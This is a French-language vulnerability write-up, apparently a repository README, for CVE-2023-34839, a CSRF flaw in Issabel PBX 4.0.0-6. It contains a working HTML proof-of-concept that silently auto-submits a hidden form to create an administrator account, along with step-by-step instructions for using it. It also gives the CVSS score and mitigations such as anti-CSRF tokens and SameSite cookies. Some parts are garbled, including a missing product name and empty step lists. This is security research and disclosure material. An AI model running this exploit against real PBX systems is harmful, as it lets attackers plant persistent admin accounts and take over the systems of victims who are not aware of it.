
CVE-2023-34839 est une vulnérabilité de falsification de requête intersite (CSRF) découverte dans Issabel PBX version 4.0.0-6, une plateforme de communications unifiées open source largement utilisée.
CVE-2023-34839 est une vulnérabilité de Cross-Site Request Forgery (CSRF) découverte dans , une plateforme de communications unifiées open-source largement utilisée. La vulnérabilité réside dans le point de terminaison de gestion des utilisateurs et permet à un attaquant distant non authentifié de créer silencieusement un nouveau compte administrateur en trompant un administrateur actuellement authentifié pour qu'il visite une page web spécialement conçue.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2023-34839 |
| Date | 23 juin 2023 |
| Chercheur | Sahil Ojha |
| Fournisseur | Issabel |
| Produit | Issabel PBX |
| Version | 4.0.0-6 |
| Testé sur | Windows |
Issabel PBX 4.0.0-6 n'implémente pas de protections CSRF (par exemple, jetons de synchronisation, attributs de cookie SameSite ou validation des en-têtes Origin / Referer) sur le point de terminaison de création d'utilisateur :
POST /index.php?menu=userlist&action=new
Étant donné que l'application repose uniquement sur les cookies de session pour l'authentification et n'effectue aucune validation des requêtes modifiant l'état, une requête POST forgée provenant de n'importe quelle origine sera acceptée et traitée avec tous les privilèges de la session administrateur connectée.
Cause racine : Absence de validation de jeton anti-CSRF sur les points de terminaison administratifs modifiant l'état.
Classe de vulnérabilité : CWE-352 — Cross-Site Request Forgery (CSRF)
| Logiciel | Version | Statut |
|---|---|---|
| Issabel PBX | 4.0.0-6 | Vulnérable ✔ |
| Métrique | Valeur |
|---|---|
| Vecteur CVSS v3.1 | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Score de base | 8.8 (Élevé) |
| Vecteur d'attaque | Réseau |
| Complexité d'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Requise (visite admin) |
| Portée | Inchangée |
| Confidentialité | Élevée |
| Intégrité | Élevée |
| Disponibilité | Élevée |
Un attaquant peut exploiter cette vulnérabilité en suivant ces grandes étapes :
Aucune interaction au-delà d'une simple visite de page n'est requise de la part de la victime.
⚠️ Uniquement à des fins éducatives et de tests autorisés.
Remplacezlocalhostpar le nom d'hôte ou l'adresse IP de l'instance Issabel PBX cible.
Si vous testez contre un point de terminaisonhttps://avec un certificat auto-signé, vous devez d'abord visiter l'URL cible dans le même navigateur et accepter l'avertissement de certificat ; sinon, le navigateur bloquera la soumission du formulaire cross-origin.
<html>
<!-- CSRF Exploit — CVE-2023-34839 -->
<body>
<form action="https://localhost/index.php?menu=userlist&action=new" method="POST">
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="description" value="CSRF Test Account" />
<input type="hidden" name="password1" value="Test@123" />
<input type="hidden" name="password2" value="Test@123" />
<input type="hidden" name="group" value="1" /> <!-- 1 = Administrator -->
<input type="hidden" name="extension" value="" />
<input type="hidden" name="webmailuser" value="" />
<input type="hidden" name="webmaildomain" value="" />
<input type="hidden" name="webmailpassword1" value="" />
<input type="hidden" name="id_user" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Le fichier d'exploit est également disponible dans ce dépôt : CSRF Exploit.html
Accédez à l'interface web d'Issabel PBX et connectez-vous avec les identifiants administrateur.

Copiez le code HTML de la PoC ci-dessus et enregistrez-le sous forme de fichier .html, en remplaçant localhost par le nom d'hôte ou l'adresse IP réelle de l'instance Issabel cible.
L'exploit utilise des champs de formulaire cachés pour soumettre silencieusement une requête POST de création de nouvel utilisateur à l'application. Lorsque la page se charge, le JavaScript intégré soumet immédiatement le formulaire sans aucune action visible de l'utilisateur.

Ouvrez le fichier HTML enregistré dans le même navigateur (dans un nouvel onglet) alors que la session administrateur est toujours active. Le formulaire sera automatiquement soumis immédiatement après le chargement de la page.
Revenez au panneau Gestion des utilisateurs d'Issabel PBX. Un nouveau compte utilisateur (dans cette PoC, nommé CSRF) aura été créé avec tous les privilèges Administrateur — sans aucune interaction supplémentaire au-delà de l'ouverture de la page d'exploit.

L'exploitation réussie de CVE-2023-34839 permet à un attaquant de :
Étant donné que le compte malveillant persiste même après la fin de la session de la victime, l'attaquant conserve un accès indéfini jusqu'à ce que le compte soit découvert et supprimé.
Les administrateurs et développeurs d'Issabel PBX doivent appliquer les mesures d'atténuation suivantes :
Implémenter des jetons anti-CSRF : Générez un jeton unique, imprévisible et lié à la session pour chaque formulaire modifiant l'état. Validez le jeton côté serveur avant de traiter toute requête POST.
Appliquer SameSite=Strict ou SameSite=Lax sur les cookies de session : Cela indique aux navigateurs de ne pas envoyer de cookies sur les requêtes cross-site, empêchant ainsi les attaques CSRF classiques dans les navigateurs modernes.
Valider les en-têtes Origin et Referer : Rejetez les requêtes dont l'en-tête Origin ou Referer ne correspond pas au domaine attendu de l'application.
Exiger une ré-authentification pour les actions sensibles : Demandez à l'administrateur de saisir son mot de passe actuel avant d'autoriser la création de nouveaux comptes de niveau administrateur.
Appliquer les derniers correctifs de sécurité : Surveillez la page de publication d'Issabel et le dépôt officiel pour les correctifs traitant cette CVE.
Ce dépôt est destiné strictement à des fins éducatives et de recherche en sécurité autorisée. Les informations et le code de preuve de concept fournis ici ne doivent être utilisés que contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas est illégale et peut entraîner des poursuites pénales. L'auteur décline toute responsabilité en cas d'utilisation abusive des informations contenues dans ce dépôt.